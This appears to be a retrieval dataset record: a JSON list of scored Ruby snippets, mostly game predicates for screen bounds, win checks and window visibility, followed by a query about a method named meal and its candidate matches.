[ { "docid": "3f9adbb85ed189f495e160670e803189", "score": "0.6809631", "text": "def on_ground\n \tnot free?(0,1) #If character is 1 pixel or closer/against the ground\n \tend", "title": "" }, { "docid": "90193242e4abb0c3ac0f3504a304776d", "score": "0.6557376", "text": "def win_text_visible?\n @win_text_background&.visible\n end", "title": "" }, { "docid": "5e2c046659104750c699ca85163c2496", "score": "0.6552962", "text": "def off_screen?\n return (@x < -@width or @x > @game_window.width or @y < -@height or @y > @game_window.height)\n end", "title": "" }, { "docid": "33c76c87071189f43fa180241e6f6611", "score": "0.65168446", "text": "def at_notch?\n @notch_positions.include?(self.position)\n end", "title": "" }, { "docid": "9cbb0432cde79ec5e3f8fce8350c0cb2", "score": "0.6414749", "text": "def outside_window?\r\n not inside_window?\r\n end", "title": "" }, { "docid": "2da4292eccc86062fe4d82efba9f45af", "score": "0.63673526", "text": "def outside_window?\r\n not inside_window?\r\n end", "title": "" }, { "docid": "c895e1275d7cea57c2dc4afba539b7fc", "score": "0.6358149", "text": "def win?\n vertical_win\n horizontal_win\n\n end", "title": "" }, { "docid": "ea8afec182aae0089c2f29d767aca6bc", "score": "0.63373023", "text": "def out_of_screen?(add = 0)\n return (self.real_x - $game_map.display_x + add < 0 ||\n self.real_x - $game_map.display_x + add > 2560 ||\n self.real_y - $game_map.display_y + add < 0 ||\n self.real_y - $game_map.display_y + add > 1920)\n end", "title": "" }, { "docid": "2cf482ba1d2218caa526b5e45a2529ad", "score": "0.6296369", "text": "def under_mouse?\n @window.mouse_x > x - PADDING and @window.mouse_x < x + WIDTH + PADDING and\n @window.mouse_y > y - PADDING and @window.mouse_y < y + height + PADDING\n end", "title": "" }, { "docid": "2cf482ba1d2218caa526b5e45a2529ad", "score": "0.6296369", "text": "def under_mouse?\n @window.mouse_x > x - PADDING and @window.mouse_x < x + WIDTH + PADDING and\n @window.mouse_y > y - PADDING and @window.mouse_y < y + height + PADDING\n end", "title": "" }, { "docid": "2cf482ba1d2218caa526b5e45a2529ad", "score": "0.6296369", "text": "def under_mouse?\n @window.mouse_x > x - PADDING and @window.mouse_x < x + WIDTH + PADDING and\n @window.mouse_y > y - PADDING and @window.mouse_y < y + height + PADDING\n end", "title": "" }, { "docid": "a7e4134caca58525e0dc0410893f395a", "score": "0.6266461", "text": "def out_of_screen(add)\n return (self.real_x - $game_map.display_x + add < 0 ||\n self.real_x - $game_map.display_x + add > 2560 ||\n self.real_y - $game_map.display_y + add < 0 ||\n self.real_y - $game_map.display_y + add > 1920)\n end", "title": "" }, { "docid": "a7e4134caca58525e0dc0410893f395a", "score": "0.6266461", "text": "def out_of_screen(add)\n return (self.real_x - $game_map.display_x + add < 0 ||\n self.real_x - $game_map.display_x + add > 2560 ||\n self.real_y - $game_map.display_y + add < 0 ||\n self.real_y - $game_map.display_y + add > 1920)\n end", "title": "" }, { "docid": "8a4b462f4f9479a4814878a727332359", "score": "0.62663066", "text": "def inside_window?\r\n self.x >= 0 && self.x <= $window.width/self.factor && self.y >= 0 && self.y <= $window.height/self.factor\r\n end", "title": "" }, { "docid": "5c9a05b504eb18ff4c1d9cdb654d1c43", "score": "0.6242808", "text": "def offscreen?\n @border.right <= 0 || @border.left >= @window.width\n end", "title": "" }, { "docid": "d1ae430369b5b0cb244ad42eccbe6ed3", "score": "0.62045026", "text": "def wall_behind?\n pos = @current_position\n while(@positions.has_key?(pos))\n return true if @positions[pos] == :wall\n\n pos -= 1\n end\n return false\n end", "title": "" }, { "docid": "06f71cad984d790783234d43df5a097b", "score": "0.617444", "text": "def at_eow?\n\t\t\t@y == @window.maxy-1\n\t\tend", "title": "" }, { "docid": "99bc9bf5c8a10a43e0dbf360d937b6f7", "score": "0.61654", "text": "def not_backwards?(x, y)\n return true if (color == 'white' && y > y_cord) || (color == 'black' && y < y_cord)\n\n return false\n end", "title": "" }, { "docid": "c27b51c883d6ca0ab0cce5aeb1a63e7c", "score": "0.6137673", "text": "def out_of_border?\n return false if @battle_status_elements.empty?\n @battle_status_elements[0].y >= Graphics.height\n end", "title": "" }, { "docid": "2f58e6bef20c5e368c25433d7d9fd2dc", "score": "0.6135961", "text": "def win?\n horizontal_win? || vertical_win? || cross_win?\n end", "title": "" }, { "docid": "aefa04d44dd0a2d88cf8cb7986786310", "score": "0.61341184", "text": "def offScreen?\n\t\tdim = @width + @height\n\t\t(@x < -dim) || (@x > (Game::WIDTH+dim)) ||\n\t\t(@y < -dim) || (@y > (Game::HEIGHT+dim))\n\tend", "title": "" }, { "docid": "aefa04d44dd0a2d88cf8cb7986786310", "score": "0.61341184", "text": "def offScreen?\n\t\tdim = @width + @height\n\t\t(@x < -dim) || (@x > (Game::WIDTH+dim)) ||\n\t\t(@y < -dim) || (@y > (Game::HEIGHT+dim))\n\tend", "title": "" }, { "docid": "fc06dbb3191758488a2c2f63bcc3e143", "score": "0.60331786", "text": "def over?\n return true if @board.board.all? { |row| row.none? { |element| element == ' ' } }\n false\n end", "title": "" }, { "docid": "9da6b9807f5f87a8018f089056d1e080", "score": "0.60182947", "text": "def over?\n #!@board.cells.include?(\" \")\n won? || draw?\n end", "title": "" }, { "docid": "42db6c38fa5a4e21961d4350bca12fcb", "score": "0.601822", "text": "def win?\n\t\t@clue.each { |letter| return false if !letter }\n\t\ttrue\n\tend", "title": "" }, { "docid": "52871f4d5521a72b01d1dd1e34b31a6d", "score": "0.6010023", "text": "def kolizija(p=$window.get_player)\n\tif p.get_yh>= @y && p.get_y<= @y+@h+10\n\t\tif (p.get_x<=@x + @w+10 && p.get_xw>=@x)\n\t\treturn true;\n\t\tend\n\tend\n\treturn false;\nend", "title": "" }, { "docid": "13a2b11cad30476158fa5a9567c341bc", "score": "0.60082626", "text": "def insideScreen(delta)\n if $playerMove == :right\n (@x + @image.width + delta) < $windowW\n \n elsif $playerMove == :left\n (@x - delta) > 0\n end\n end", "title": "" }, { "docid": "74d4cb1ff73d5106ac2a1b8d1c55af75", "score": "0.60004085", "text": "def above_ground?\n\t\tbody.position.y > 0\n\tend", "title": "" }, { "docid": "5d36b72a5917713dd479af542e07e2c3", "score": "0.6000205", "text": "def foreground?( win_handle )\n win_handle == foreground_window\n end", "title": "" }, { "docid": "1f1d236eba8aad4df1fd71c3464cdd7b", "score": "0.59864616", "text": "def outside_window?(x = @x, y = @y)\r\n not inside_window?(x,y)\r\n end", "title": "" }, { "docid": "2845e07b877c4964dea926e0aea706e3", "score": "0.59759265", "text": "def inside_window?\n (@current_page - @page).abs <= @window\n end", "title": "" }, { "docid": "2b6eae2fa0528a687dab61cd59efa2ab", "score": "0.59669185", "text": "def outside_window?(x = @x, y = @y)\r\n not inside_window?(x,y)\r\n end", "title": "" }, { "docid": "3b1d5444e6645c9798b1c5e480bc2b04", "score": "0.5961913", "text": "def vertical_win?\n index = 0\n @size.times do\n string = \"\"\n @positions.each do |row|\n string << row[index]\n end\n return true if string.include?(@current_piece*3)\n index += 1\n end\n return false\n end", "title": "" }, { "docid": "d2f992da158b2a8da7fd30d377cf5629", "score": "0.59546936", "text": "def above?(point)\n !below?(point)\n end", "title": "" }, { "docid": "357fe3bbb0b16bcd2b5685d7a62043a4", "score": "0.59499437", "text": "def over?\n if won? #winning_token\n return true\n end\n if draw? #board.full?\n return true\n end\n return false\n end", "title": "" }, { "docid": "b0015c4c426fa955e81101613e200f19", "score": "0.5938137", "text": "def word_up?(x, y)\n @board[x - 1][y].content == \"N\" && @board[x - 2][y].content == \"U\"\n end", "title": "" }, { "docid": "cf453becf0b45b4536485ad585dcd5dd", "score": "0.59320974", "text": "def over_trigger?\n return false if !@character_name.empty? && !@through || @invisible_event\n return false unless $game_map.passable?(@x, @y, 0)\n return true\n end", "title": "" }, { "docid": "936b05963f3d49d6c3dd281e133b8de1", "score": "0.5917475", "text": "def over_trigger?\n # If not through situation with character as graphic\n if @character_name != \"\" and not @through\n # Starting determinant is face\n return false\n end\n # If this position on the map is impassable\n unless $map.passable?(@x, @y, 0)\n # Starting determinant is face\n return false\n end\n # Starting determinant is same position\n return true\n end", "title": "" }, { "docid": "18af54642ff6c89fd1b1730d5616f036", "score": "0.59045756", "text": "def windowVisible?\n return @sprites[\"messageBox\"].visible\n end", "title": "" }, { "docid": "bea6c7516f914751234ea6048fa67858", "score": "0.5903241", "text": "def horizontal_win?\n @positions.each do |row|\n string = row.join\n return true if string.include?(@current_piece*3)\n end\n return false\n end", "title": "" }, { "docid": "b9be8101c002ba041ccb57fc4412e209", "score": "0.59012383", "text": "def in_screen?\n return (self.x.between?(0, 639) && (self.y-16).between?(0, 479))\n end", "title": "" }, { "docid": "b9be8101c002ba041ccb57fc4412e209", "score": "0.59012383", "text": "def in_screen?\n return (self.x.between?(0, 639) && (self.y-16).between?(0, 479))\n end", "title": "" }, { "docid": "15014aab413f826117aa654d3ec3a613", "score": "0.59005487", "text": "def onscreen?\n @border.left >= 0 && @border.right <= @window.width\n end", "title": "" }, { "docid": "99051d81de034b9de9aed7507f9b9ecb", "score": "0.5899721", "text": "def above?(y)\n top && top < y\n end", "title": "" }, { "docid": "8d358d910f7ae81de3569a5c7e3fdc53", "score": "0.5895237", "text": "def outside_bounds?\n if @x < 0 or @x > $window_x or @y < 0 or @y > $window_y\n return true\n end\n end", "title": "" }, { "docid": "d8a69883491922476d7880953ac4fe1e", "score": "0.58922374", "text": "def onBoundary?\n\t\t@x == 0 || @x == @playground.right || @y == 0 || @y == @playground.top\n\tend", "title": "" }, { "docid": "f52c9bf28a03e6f9eba9f91918ddac7b", "score": "0.5877244", "text": "def out_of_bounds\n\t\t@x + @width < 0 || @x > @window.width || @y + @height < 0 || @y > @window.height \n\tend", "title": "" }, { "docid": "e129b7243c48a3c65b20ec625d98a465", "score": "0.58766973", "text": "def abswindowpos(w)\n res = @abswpos.fetch w, false\n return res unless res == false\n res = _abswindowpos(w)\n @abswpos[w] = res\n end", "title": "" }, { "docid": "0634a8b739145846871adb38f6e9b90d", "score": "0.5874221", "text": "def show_character( row, col )\n old_top_line = @top_line\n old_left_column = @left_column\n\n while row < @top_line + @settings[ \"view.margin.y\" ]\n amount = (-1) * @settings[ \"view.jump.y\" ]\n break if( pitch_view( amount, DONT_PITCH_CURSOR, DONT_DISPLAY ) != amount )\n end\n while row > @top_line + $diakonos.main_window_height - 1 - @settings[ \"view.margin.y\" ]\n amount = @settings[ \"view.jump.y\" ]\n break if( pitch_view( amount, DONT_PITCH_CURSOR, DONT_DISPLAY ) != amount )\n end\n\n while col < @left_column + @settings[ \"view.margin.x\" ]\n amount = (-1) * @settings[ \"view.jump.x\" ]\n break if( pan_view( amount, DONT_DISPLAY ) != amount )\n end\n while col > @left_column + $diakonos.main_window_width - @settings[ \"view.margin.x\" ] - 2\n amount = @settings[ \"view.jump.x\" ]\n break if( pan_view( amount, DONT_DISPLAY ) != amount )\n end\n\n @top_line != old_top_line or @left_column != old_left_column\n end", "title": "" }, { "docid": "565d62e603180fa3bb8b016c5b002e69", "score": "0.587035", "text": "def inside_frame?\n @y < FRAME_HEIGHT + @height && @y > -@height && @x < FRAME_WIDTH + @width && @x > -@width\n end", "title": "" }, { "docid": "e38ca7bc9431b0527c67f8bf9d6565de", "score": "0.58681214", "text": "def win?\n horiz_win? || vert_win? || diag_win?\n end", "title": "" }, { "docid": "bfd07170d4241b97fe9b3c07c540dd9a", "score": "0.586566", "text": "def inside_window?(x = @x, y = @y)\r\n x >= 0 && x <= $window.width && y >= 0 && y <= $window.height\r\n end", "title": "" }, { "docid": "f91118328db173a19ec8100d533639d3", "score": "0.5861979", "text": "def behind?\n !behind.empty?\n end", "title": "" }, { "docid": "a6912e587c311fdc9f6d262634f533ba", "score": "0.5860978", "text": "def possible_win?(brd)\n !!detect_threat(brd, COMPUTER_MARKER)\nend", "title": "" }, { "docid": "6cd83d2c4a5fd9a368384d7135e21061", "score": "0.58559793", "text": "def inside_window?(x = @x, y = @y)\r\n x >= 0 && x <= $window.width && y >= 0 && y <= $window.height\r\n end", "title": "" }, { "docid": "30f470377bc850cdec2883cda75bc58a", "score": "0.58297986", "text": "def boundary?\n !twin\n end", "title": "" }, { "docid": "52c5becec8660fb465da4eb0c96d6714", "score": "0.5816893", "text": "def fully_above(rect)\n @bottom_right.y > rect.top_left.y\n end", "title": "" }, { "docid": "5342befea8913f57d220e779f90f6bf5", "score": "0.58132786", "text": "def killed?\n (@y == @window.ground_y - @player_image.height/2) ? true : false\n end", "title": "" }, { "docid": "82064465c846b23e1cd941057931c006", "score": "0.5809423", "text": "def surrounding_space_clear?(pos)\n @gameboard[pos[0]][pos[1]].class == String ? true : false\n end", "title": "" }, { "docid": "c7a7166048b7ec141c5cd7e7d6166ccf", "score": "0.58060706", "text": "def is_letter? r, c\n ! (is_black?(r, c) || r < 0 || r >= @height || c < 0 || c >= @width)\n end", "title": "" }, { "docid": "386a1fdb84e6b441889a3a87b4236020", "score": "0.5801012", "text": "def inside_window?\n (@options[:current_slice] - @slice).abs <= @options[:window]\n end", "title": "" }, { "docid": "ce96cacc9c1c4e88b9f67cf6ee34892d", "score": "0.5799778", "text": "def over_trigger?\n # If not through situation with character as graphic\n if @character_name != \"\" and not @through\n # Starting determinant is face\n return false\n end\n # If this position on the map is impassable\n unless $game_map.passable?(@x, @y, 0)\n # Starting determinant is face\n return false\n end\n # Starting determinant is same position\n return true\n end", "title": "" }, { "docid": "ce96cacc9c1c4e88b9f67cf6ee34892d", "score": "0.5799778", "text": "def over_trigger?\n # If not through situation with character as graphic\n if @character_name != \"\" and not @through\n # Starting determinant is face\n return false\n end\n # If this position on the map is impassable\n unless $game_map.passable?(@x, @y, 0)\n # Starting determinant is face\n return false\n end\n # Starting determinant is same position\n return true\n end", "title": "" }, { "docid": "ce96cacc9c1c4e88b9f67cf6ee34892d", "score": "0.5799778", "text": "def over_trigger?\n # If not through situation with character as graphic\n if @character_name != \"\" and not @through\n # Starting determinant is face\n return false\n end\n # If this position on the map is impassable\n unless $game_map.passable?(@x, @y, 0)\n # Starting determinant is face\n return false\n end\n # Starting determinant is same position\n return true\n end", "title": "" }, { "docid": "ce96cacc9c1c4e88b9f67cf6ee34892d", "score": "0.5799778", "text": "def over_trigger?\n # If not through situation with character as graphic\n if @character_name != \"\" and not @through\n # Starting determinant is face\n return false\n end\n # If this position on the map is impassable\n unless $game_map.passable?(@x, @y, 0)\n # Starting determinant is face\n return false\n end\n # Starting determinant is same position\n return true\n end", "title": "" }, { "docid": "a785775c707ee6b11d9ce67392331749", "score": "0.5770375", "text": "def window?\n true\n end", "title": "" }, { "docid": "298b723709500610376f8cd6f81f7596", "score": "0.5770222", "text": "def over?\n if won? || draw?\n true\n end # over?\n end", "title": "" }, { "docid": "864a303d2c82bd7fefbda99bd7a6886b", "score": "0.576961", "text": "def still?(window)\n x_avg = window[0..-2].inject(0.0){|sum, p| sum + p.x}.to_f / window.size-1\n y_avg = window[0..-2].inject(0.0){|sum, p| sum + p.y}.to_f / window.size-1\n z_avg = window[0..-2].inject(0.0){|sum, p| sum + p.z}.to_f / window.size-1\n\n #$stderr.puts \"(#{(window.last.x-x_avg).abs}, #{(window.last.y-y_avg)}, #{(window.last.z-z_avg).abs})\"\n\n return (window.last.x-x_avg).abs < STILLNESS_THRESHOLD &&\n (window.last.y-y_avg).abs < STILLNESS_THRESHOLD &&\n (window.last.z-z_avg).abs < STILLNESS_THRESHOLD\n end", "title": "" }, { "docid": "524ad079ede99e444a4c85b9e3761593", "score": "0.5768421", "text": "def game_over?\n not @board.include?(\" \") or win?\n end", "title": "" }, { "docid": "bf97521f383b67186174c37a2f0bd6ed", "score": "0.57654214", "text": "def over?\n won? || draw?\n end", "title": "" }, { "docid": "f4202ca676ccc956d7d4f59b636a3aec", "score": "0.5759055", "text": "def can_move_down?\n @cursor_y < title_menus.length - 1\n end", "title": "" }, { "docid": "518459df55795a6ae52728114cebe9b3", "score": "0.57577", "text": "def inside_game_area?\n @y < FRAME_HEIGHT + 3*@height && @y > -3*@height && @x < FRAME_WIDTH + 3*@width && @x > -3*@width\n end", "title": "" }, { "docid": "f6fa2751edeb9bbc416a342022367514", "score": "0.5751279", "text": "def win?\nend", "title": "" }, { "docid": "2a97451c0a9e649f294652ff0438602c", "score": "0.57426685", "text": "def fully_below(rect)\n @top_left.y < rect.bottom_right.y\n end", "title": "" }, { "docid": "9142a09988d38acc8d15b50ece6ddd96", "score": "0.57418835", "text": "def check_for_win\n\tif @current_display.include? \"_\"\n\t\treturn false\n\telse\n\t\treturn true\n\tend\nend", "title": "" }, { "docid": "60ecf7967317c6470493a76a0aa4a87b", "score": "0.57383835", "text": "def isdead\n @box.top > 480 && @box.right < 0\n end", "title": "" }, { "docid": "d1d26b89d1b648ee73ac0847dea1506b", "score": "0.5737761", "text": "def pbTopRightWindow(text)\n window = Window_AdvancedTextPokemon.new(text)\n window.viewport = @msgview\n window.width = 198\n window.y = 0\n window.x = Graphics.width - window.width\n pbPlayDecisionSE()\n loop do\n Graphics.update\n Input.update\n window.update\n animateScene\n if Input.trigger?(Input::C)\n break\n end\n end\n window.dispose\n end", "title": "" }, { "docid": "04b284d3c81d569f2eba6738bc04f8b5", "score": "0.5737532", "text": "def over?()\n if won?() || draw?()\n return true\n else \n return false\n end\n end", "title": "" }, { "docid": "11594643bbeb83d7933627e99c69c57d", "score": "0.57342744", "text": "def over?\r\n if (won? || draw?)\r\n return true\r\n end\r\n return false\r\n end", "title": "" }, { "docid": "54a470dbdb7d3a5d510785ac046bd4d6", "score": "0.5724267", "text": "def enclose?(x, y)\n left = @window.begx\n top = @window.begy\n right = left + @window.maxx\n bottom = top + @window.maxy\n\n left <= x && x < right && top <= y && y < bottom\n end", "title": "" }, { "docid": "323d7cd85c35b7e5a258963867b42150", "score": "0.57020783", "text": "def over?\n won? || draw?\n end", "title": "" }, { "docid": "8bdff14689d1c200ec481596c4d8431f", "score": "0.5701076", "text": "def over?\n if won? || draw?\n return true\n end\n end", "title": "" }, { "docid": "25ef96621228625d5c2b44ebd1a3507a", "score": "0.5685329", "text": "def is_won?()\n displayed_word = @word.display(@guessed_chars)\n return !displayed_word.include?('*')\n end", "title": "" }, { "docid": "1a50f81086f6e4389b54b2aa52e53a53", "score": "0.56843805", "text": "def exit_clipping?\n return false if !@character.moving?\n return false if !@visible\n # Vertical Clipping (Up/Down)\n if @character.y != @character.real_y \n return false if @character.reflection_visible?(@character.y + (@character.y > @character.real_y ? -1 : 1))\n end\n # Horizontal Clipping (Left/Right)\n if @character.x != @character.real_x\n return false if !@character.reflection_visible?(@character.x + (@character.x > @character.real_x ? -1 : 1)) \n end \n return false if @character.reflection_visible?\n return true\n end", "title": "" }, { "docid": "fb1dcf2202b6be688dac0631dd81210e", "score": "0.5683965", "text": "def victory?()\n\t\t\t!still_playing? && @visible_cells >= @board.total_cells_without_bombs()\n\t\tend", "title": "" }, { "docid": "a0a9552349e1c38930cc3bcc7956e742", "score": "0.56820863", "text": "def did_I_win?\r\n\t\tif @hidden_array == @word\r\n\t\t\treturn true\r\n\t\tend\r\n\t\treturn false\r\n\tend", "title": "" }, { "docid": "4d0a4300f3f5daff8b7beec955eb55c5", "score": "0.56764835", "text": "def game_over?\n\t\tif @game_over == true\n\t\t\tputs 'You did it!!'\n\t\tend\n\n\t\tif @letters_guessed == @word_array.length && @display.include?(\"-\")\n\t\t\ttrue\n\t\t\tputs \"aww buckets, better luck next time\"\n\n\t\tend\n\tend", "title": "" }, { "docid": "f8ad461e098fbbfe008e44c2e65b60f7", "score": "0.5674794", "text": "def over?\n if won? || draw?\n true\n else\n false\n end\n end", "title": "" }, { "docid": "e2c0d990ba6bb6a9d884eda48a5d4577", "score": "0.5673889", "text": "def enter_clipping?\n return false if !@character.moving?\n return false if @visible \n # Vertical Clipping (Up/Down)\n if @character.y != @character.real_y\n return false if !@character.reflection_visible?(@character.y + (@character.y > @character.real_y ? -1 : 1))\n end\n # Horizontal Clipping (Left/Right)\n if @character.x != @character.real_x\n return false if @character.reflection_visible?(@character.x + (@character.x > @character.real_x ? -1 : 1)) \n end\n return false if !@character.reflection_visible?\n return true\n end", "title": "" }, { "docid": "a308405899218e8cffa7e8b6ac3d2b4b", "score": "0.56671697", "text": "def hiden?\n return @tile_back.visible\n end", "title": "" }, { "docid": "830aaf6b191902c3fdda372b46f3eec0", "score": "0.5665337", "text": "def behind_minions?\n tower, = select_unit_by_distance(@battlefield.them, :tower, :farthest)\n front_minion, = tower.select_unit_by_distance(@battlefield.us, :unit, :nearest)\n\n tower.distance_to_unit(front_minion) < tower.distance_to_unit(self)\n end", "title": "" }, { "docid": "8d78a64db2b7177bf60abcbd0354f8b3", "score": "0.56577665", "text": "def over?\n draw? || won? ? true : false\n end", "title": "" }, { "docid": "8d78a64db2b7177bf60abcbd0354f8b3", "score": "0.56577665", "text": "def over?\n draw? || won? ? true : false\n end", "title": "" }, { "docid": "62761ea805c37655912d195850ca0726", "score": "0.56573516", "text": "def win_lose?\n # declares a win when all blanks have been replaced in display_word\n if !(@interface.display_word.include?(\"_\"))\n puts \"You got it!\"\n puts \"Some celebration art!\".colorize(:cyan).blink\n puts \"!~~~~!~~~~!~~~~!~~~~!\" + \" ©ASCII Finger Painters\".colorize(:light_black)\n elsif @interface.counter_orb.length >= @interface.counter_finish.length\n puts \"You are trapped on this plane of entanglement.\"\n puts \"Dramatic Death Art!\".colorize(:red).blink\n puts \"XXXXXXXXXXXXXXXXXXX\" + \" ©ASCII Finger Painters\".colorize(:light_black)\n exit\n # or add another instance of Game to play again\n else\n play\n end\n end", "title": "" }, { "docid": "35647b74257a601f9b11a8bb6a3e9e0f", "score": "0.56566036", "text": "def in_wall?(pos)\n static_at(pos) == :wall\n end", "title": "" }, { "docid": "7f02ebfdf4fd3ac65ecbfb5167360b38", "score": "0.5653637", "text": "def contains_window?(window_)\n return if window_.factory != @factory\n if window_.y_max <= @y_max && window_.y_min >= @y_min\n if (@x_max < @x_min) == window_.crosses_seam?\n window_.x_max <= @x_max && window_.x_min >= @x_min\n else\n @x_max < @x_min && (window_.x_max <= @x_max || window_.x_min >= @x_min)\n end\n else\n false\n end\n end", "title": "" }, { "docid": "bc0be39da0ba8379007afc08a9cd528c", "score": "0.56510353", "text": "def from_back?(attacker) \n return (self.direction == 10 - get_direction(attacker))\n end", "title": "" }, { "docid": "2c02de43111fa17a17ab6b57bf056d4c", "score": "0.5642625", "text": "def foreground?\n self==self.class.foreground_window\n end", "title": "" }, { "docid": "b2c9810917316c46b4b1d19c4c7a4849", "score": "0.5642481", "text": "def anim_behind?\n !note[TSBS::AnimBehind].nil?\n end", "title": "" } ]
87d1212000a566266e156c0593fa2262
What will the following code print? Why? Don't run it until you've attempted to answer.
[ { "docid": "ba4329bc102c9e123ed000f55801af57", "score": "0.0", "text": "def meal\n 'Dinner'\n puts 'Dinner'\nend", "title": "" } ]
[ { "docid": "c842c87b430e3e56423265b6a8c3b996", "score": "0.71919596", "text": "def asking; end", "title": "" }, { "docid": "dabd6b9dc12ac485d40b7f6c93ca7968", "score": "0.69974643", "text": "def give_me_the_answer\n\t42\nend", "title": "" }, { "docid": "bfec30904f45f25a6a194516a989d7d2", "score": "0.68767923", "text": "def answer\n puts \"ANSWERING\"\nend", "title": "" }, { "docid": "dae6c51d25449fea6a38ec5bf4989e91", "score": "0.6803585", "text": "def tell_fortune(randomAnswer)\n\tprint \"The answer is \" + randomAnswer + \". \\n\\n: \"\nend", "title": "" }, { "docid": "09903c4a55fa79284ba6b21b5c93ba0c", "score": "0.6747592", "text": "def askForBoringPrint\n # do not print any message after reply\n askSomething('Would you like to use a more boring printing method? Though it is more boring, it also saves space and is recommended if your list is too long. Otherwise the output will look kinda wierd',\n '', '')\nend", "title": "" }, { "docid": "56621d640700cd1789ad670547e015f9", "score": "0.66913766", "text": "def ask(question)\n print question \n #answer = gets\n #puts\tanswer\n gets\nend", "title": "" }, { "docid": "90107788f36aad2021ccb6b320700773", "score": "0.65831673", "text": "def get_explaination\n puts \"\\n Please write an explaination : \" # Asks the user for input\n print \"> \"\n get_flashcard_input() # Evaluates input to check if user wants help, to skip, or quit \n puts \"\\n Your explaination should be something like... \\n\", # Provides an example explainations\n \"\\n -> #{@aQuestion[2]}\"\n self_correct() # Give the user a chance to self-correct\nend", "title": "" }, { "docid": "bfd7b76a83ccfbc2e85d6f0413200cae", "score": "0.6569352", "text": "def ask\n\n # TODO: Implement the program that makes you discuss with your coach from the terminal.\n # answer = nil\n\n # until answer == \"\"\n # puts \"Tell something to your coach:\"\n # user_input = gets.chomp\n # coach_answer_enhanced(user_input)\n # answer = coach_answer_enhanced(user_input)\n # puts answer\n # end\n end", "title": "" }, { "docid": "1f8fb17e2165982c45dfb4419286f137", "score": "0.65220857", "text": "def ask\n puts \"\"\n puts \"Question ##{number}\" ##Put question number\n puts \"#{question}\" ##ask question\n puts \"#{answers}\" ##display possible answers\n user_answer = gets.chomp.to_s ##ask user for answer\n if user_answer.upcase == correct_answer ##Check to see if submitted answer is correct\n puts \"Correct\".green ##Congrats!\n $score = $score + 1 ##Add one\n else\n puts \"Incorrect\".yellow##Booo\n puts \"#{explain}\".green\n end\n end", "title": "" }, { "docid": "4a8c46d786d555943579e577de7d372f", "score": "0.65095913", "text": "def get_response_for question\n print question + \": \"\n gets.chomp\n end", "title": "" }, { "docid": "b9ed01912fe119b32483861855886c34", "score": "0.64923406", "text": "def ask?\n puts @q.problem\n # prompts player for response\n print '> '\n @response = gets.chomp.to_i\n end", "title": "" }, { "docid": "63a7fb14c3fc1d5adac3022785947adc", "score": "0.646996", "text": "def answer\n gets.chomp\n end", "title": "" }, { "docid": "8e0ca0a25e8aa9183f18aa62191bd090", "score": "0.64445984", "text": "def return_guess\n puts \"What will be the return value here?\"\n print \"Will print be any different?\"\nend", "title": "" }, { "docid": "326b0cab415ebdb3894d362f6da7e0f3", "score": "0.644121", "text": "def ask(question)\n loop do\n puts question # outputting question to the terminal\n answer = gets.chomp # get user input\n # put answer in an if statement\n # puts 'We can be friends' doesn't work because puts returns nil\n # puts nil will basically just put a blank line\n # so get rid of the puts\n return 'We can be friends!' if answer == 'y'\n # return breaks out loop and returns string\n return 'Get out of my sight!' if answer == 'n'\n puts 'Try again' # puts because it's not outputting anything without it\n end\nend", "title": "" }, { "docid": "21d5accc5d0c3b99a621b676e2d53770", "score": "0.6433321", "text": "def ask(prompt)\r\n puts prompt\r\n @answer= gets\r\nend", "title": "" }, { "docid": "4526c7b11b8deff18317e015e48794ff", "score": "0.64306325", "text": "def ask\n end", "title": "" }, { "docid": "4526c7b11b8deff18317e015e48794ff", "score": "0.64306325", "text": "def ask\n end", "title": "" }, { "docid": "e169e19833b8199c7224aea70106ebb6", "score": "0.6409368", "text": "def quiz\n\tputs \"I am thinking of a number between 1 to 10. Can you guess it?\"\nend", "title": "" }, { "docid": "bcbb1a7080f4e1534b02415986c999bd", "score": "0.6403268", "text": "def unrecognized\n puts \"\"\n puts \"Sorry, I'm not sure what your asking for.\"\n end", "title": "" }, { "docid": "b310bbb75b48e894a1674e35e7e69767", "score": "0.64017284", "text": "def give_some_sprinkles \n puts \"Great effort, keep trying it next week!!!\"\n end", "title": "" }, { "docid": "cf4549e41b9898ffc0f70b19c0a345da", "score": "0.6374807", "text": "def ask question\r\n\twhile true\r\n\t\tputs question\r\n\t\treply = gets.chomp.downcase\r\n\t\t\r\n\t\treturn true if reply == 'yes'\r\n\t\treturn false if reply == 'no'\r\n\t\tputs 'Please answer \"yes\" or \"no\".'\r\n\tend\r\nend", "title": "" }, { "docid": "390ef4e815d113762723b1e4fa1311fd", "score": "0.6354089", "text": "def tell_the_user_that_the_program_has_like_totally_finished_doing_its_thang_by_calling_this_butt_long_method_name_man\n done = rand(13)\n puts \"\\nBoo-yah!\" if done == 0\n puts \"\\nOh-yeah!\" if done == 1\n puts \"\\nYah-hoo!\" if done == 2\n puts \"\\nYeah-yuh!\" if done == 3\n puts \"\\nRock on!\" if done == 4\n puts \"\\n^_^\" if done == 5\n puts \"\\nRadical!\" if done == 6\n puts \"\\nAwesome!\" if done == 7\n puts \"\\nTubular!\" if done == 8\n puts \"\\nYay!\" if done == 9\n puts \"\\nGnarly!\" if done == 10\n puts \"\\nSweet!\" if done == 11\n puts \"\\nGroovy!\" if done == 12\n puts \"--------------------------------\\n\"\n end", "title": "" }, { "docid": "385c963ce3773f5fa2ff24a522b206d6", "score": "0.63486767", "text": "def tell_fortune()\r\n print \"The answer is \" + $prediction + \". \\n\\n: \"\r\n end", "title": "" }, { "docid": "aa2db818ef7365e1c466c0762ef2794d", "score": "0.6343687", "text": "def ask_question(question)\n print question.sub(/\\?$/, '') + \"? (y or n) \"\n return user_agree?\n end", "title": "" }, { "docid": "d6f494cf84c08958609f26460518f7b9", "score": "0.63230246", "text": "def return_guess\n\n puts \"What will be the return value here?\"\n print \"Will print be any different?\"\n\nend", "title": "" }, { "docid": "f1145f8bb63c99e3acf7d1769f47ee08", "score": "0.6320407", "text": "def ask_question(question)\n\tprint question\n\t\n\tgets.chomp # what gets returned from the function\nend", "title": "" }, { "docid": "5bb907b6215efba3561e4116ffd2b216", "score": "0.6307934", "text": "def answer( input )\nend", "title": "" }, { "docid": "9acffcdc3820f52e87a255f8fb1fa6c4", "score": "0.6303649", "text": "def ask(question)\r\n print question + \" \"\r\n gets.chomp\r\n end", "title": "" }, { "docid": "d6375db4505765455496d833a25226f3", "score": "0.62868357", "text": "def ask question\n while true\n puts question\n reply = gets.chomp.downcase\n if (reply == 'yes' || reply == 'no')\n if reply == 'yes'\n return 'Bed Wetter!'\n else\n return 'LIES!'\n end\n else\n puts 'Please answer \"yes\" or \"no\".'\n end\n end\n answer # This is what we return (true or false).\nend", "title": "" }, { "docid": "30ff7b81385311066d33c2e896db106c", "score": 